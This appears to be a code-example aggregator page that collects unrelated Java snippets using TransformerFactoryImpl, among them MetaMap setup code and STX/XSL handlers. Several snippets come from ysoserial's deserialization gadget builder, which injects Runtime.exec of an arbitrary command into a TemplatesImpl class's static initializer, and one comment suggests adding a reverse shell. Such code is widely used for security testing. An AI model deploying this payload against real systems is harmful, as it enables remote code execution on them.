import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
@Override
public boolean initialize(ResourceSpecifier aSpecifier, Map<String, Object> aAdditionalParams)
        throws ResourceInitializationException {
  boolean ret = super.initialize(aSpecifier, aAdditionalParams);
  String version = String.class.cast(getParameterValue("version"));
  String username = String.class.cast(getParameterValue("username"));
  String password = String.class.cast(getParameterValue("password"));
  String email = String.class.cast(getParameterValue("email"));
  conf = createConf(version, username, password, email, false, 0);
  xmlInputFactory = XMLInputFactory.newFactory();
  try {
    transformer = new TransformerFactoryImpl().newTransformer();
    transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
    transformer.setOutputProperty(OutputKeys.INDENT, "no");
    unmarshaller = JAXBContext.newInstance(MetaMapObject.class).createUnmarshaller();
  } catch (TransformerConfigurationException | JAXBException e) {
    throw new ResourceInitializationException();
  }
  return ret;
}
 

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
@Test
@Ignore
public void testStx() throws Exception{
    TransformerFactory tFactory = new TransformerFactoryImpl();
    SAXTransformerFactory saxTFactory = (SAXTransformerFactory) tFactory;

    // of course the transformation source must be different
    TransformerHandler tHandler1 =
            saxTFactory.newTransformerHandler(new StreamSource("trans.stx"));
    XMLReader myReader = XMLReaderFactory.createXMLReader();
    myReader.setContentHandler(tHandler1);


    ContentHandler mySerializer = null;
    tHandler1.setResult(new SAXResult(mySerializer));
}
 

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
	final TemplatesImpl templates = new TemplatesImpl();

	// use template gadget class
	ClassPool pool = ClassPool.getDefault();
	pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
	final CtClass clazz = pool.get(StubTransletPayload.class.getName());
	// run command in static initializer
	// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
	clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
	// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
	clazz.setName("ysoserial.Pwner" + System.nanoTime());

	final byte[] classBytes = clazz.toBytecode();

	// inject class bytes into instance
	Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
		classBytes,
		ClassFiles.classAsBytes(Foo.class)});

	// required to make TemplatesImpl happy
	Reflections.setFieldValue(templates, "_name", "Pwnr");
	Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
	return templates;
}
 

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
    final TemplatesImpl templates = new TemplatesImpl();

    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // run command in static initializer
    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
    clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());

    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
            classBytes,
            ClassFiles.classAsBytes(Foo.class)});

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
    return templates;
}
 

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
public static Object createTemplatesImpl ( final String[] command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
public static Object createTemplatesImpl ( final String[] args ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            args,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
MetaMapConceptProvider(String version, String username, String password, String email,
        boolean silentOnError, int priority) throws ResourceInitializationException {
  conf = createConf(version, username, password, email, silentOnError, priority);
  xmlInputFactory = XMLInputFactory.newFactory();
  try {
    transformer = new TransformerFactoryImpl().newTransformer();
    transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
    transformer.setOutputProperty(OutputKeys.INDENT, "no");
    unmarshaller = JAXBContext.newInstance(MetaMapObject.class).createUnmarshaller();
  } catch (TransformerConfigurationException | JAXBException e) {
    throw new ResourceInitializationException();
  }
}
 

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
TransformerHandler getTransformerHandler(String fileName) throws TransformerConfigurationException {
    if(fileName.endsWith(".stx")) {
        SAXTransformerFactory stxFactory = new net.sf.joost.trax.TransformerFactoryImpl();
        return stxFactory.newTransformerHandler(new StreamSource("test.stx"));

    }
    if(fileName.endsWith(".xsl")) {
        SAXTransformerFactory xslFactory = (SAXTransformerFactory) TransformerFactory.newInstance();;
        return xslFactory.newTransformerHandler(new StreamSource("test.xsl"));
    }
    throw new IllegalArgumentException("Only the filetypes xsl and stx are supported.");
}
 

import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; //导入依赖的package包/类
/**
 * Creates a new instance of the {@code TransformerFactory} builtin
 * system-default implementation.
 *
 * @return A new instance of the {@code TransformerFactory} builtin
 *         system-default implementation.
 *
 * @since 9
 */
public static TransformerFactory newDefaultInstance() {
    return TransformerFactoryImpl.newTransformerFactoryNoServiceLoader();
}